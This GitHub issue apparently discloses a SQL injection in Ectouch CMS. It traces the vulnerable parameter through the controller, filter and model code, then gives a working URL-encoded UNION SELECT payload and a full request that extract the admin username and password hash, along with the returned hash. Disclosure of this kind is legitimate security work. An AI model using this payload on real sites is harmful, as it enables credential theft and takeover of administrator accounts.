New issue   Jump to bottom

Ectouch CMS Front-end SQL Injection Vulnerability #1

⊙ Open   **yundiao** opened this issue on Feb 12, 2019 · 0 comments

yundiao commented on Feb 12, 2019   Owner

I. Vulnerability Source Code Analysis

1. Payload
   index.php?
   m=default&c=Exchange&a=asynclist_list&integral_min=2%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%6e%75%6c%6c%2c%70%61%73%73%77%6f%72%64%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%75%73%65%72%5f%6e%61%6d%65%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%20%66%72%6f%6d%20%65%63%73%5f%61%64%6d%69%6e%5f%75%73%65%72%20%6f%72%64%65%72%20%62%79%20%67%6f%6f%64%73%5f%69%64%20%61%73%63%23

Code payload with a URL (notice that there is a space before union):
union select null,password,null,null,null,user_name,null,null,null,null,null from ecs_admin_user order by goods_id asc#
In the latest version, payload will not be able to bring in SQL code without URL encoding. (Old versions don't require URL encoding to be brought into payload execution; new versions only cause program execution errors, but can't bring in palyad.)

2. Vulnerability access file
   As can be seen from the URL request, the vulnerability entry file is:
   /include/apps/default/controllers/ExchangeController.class.php asynclist_list function.

   $this->parameter() fetch the parameter of integral_min from the URL REQUEST.
   exchange_get_goods() bring the parameter in SQL operation.

3. parameter() function

   parameter() function is located in /include/apps/default/controllers/ExchangeController.class.php controller.
   Using I function to get the parameters of integral_min.
   I function is located in /include/base/helpers/function.php The input parameters are obtained and filtered.

   In function I, use DEFAULT_FILTER for filtering. It located in /include/config/global.php , and the value is htmlspecialchars.

   Converted to single and double quotation marks, But payload does not need single or double quotes.

4. exchange_get_goods() function
   Located in /include/apps/default/models/ExchangeModel.class.php model.

   There are no single or double quotation marks in the whole process.

II. Vulnerability Exploitation

1. Special description: When accessed by a computer-side browser, because of the file ".htaccess" at the root directory, will be denied access. Even just visiting the home page won't do. Because the file just redirects to index.php. No impact on testing and utilization. The name ".htaccess" must be deleted or modified before it can be accessed in a computer browser. It does not affect the use of burpsuite to intercept mobile access vulnerabilities(Mobile access does not require modifying the file name). This test is after modifying the ".htaccess" file name, tested on computer.

2. testing environment
   Windows + firefox + apache2 + PHP5.4.45（phpStudyIntegrated environment）
   BrupSuite

3. Payload

   A、 The end of the request must keep up with two "\r\n"（two lines \r\n）;otherwise, there is no response to the request.
   B、 union select null,password,null,null,null,user_name,null,null,null,null,null from ecs_admin_user order by goods_id asc#（There is a space before nuion）encode with url.
   C、 Request url:
   GET /index.php?
   m=default&c=Exchange&a=asynclist_list&integral_min=2%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%6e%75%6c%6c%2c%70%61%73%73%77%6f%72%64%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%75%73%65%72%5f%6e%61%6d%65%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%20%66%72%6f%6d%20%65%63%73%5f%61%64%6d%69%6e%5f%75%73%65%72%20%6f%72%64%65%72%20%62%79%20%67%6f%6f%64%73%5f%69%64%20%61%73%63%23 HTTP/1.1

   D、 select"user_name"and"password", return "admin" and "7d10dca2db594ae1a07a66b0e5b1d938"; After decode with MD5 is "admin". Get the administrator's account and password.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests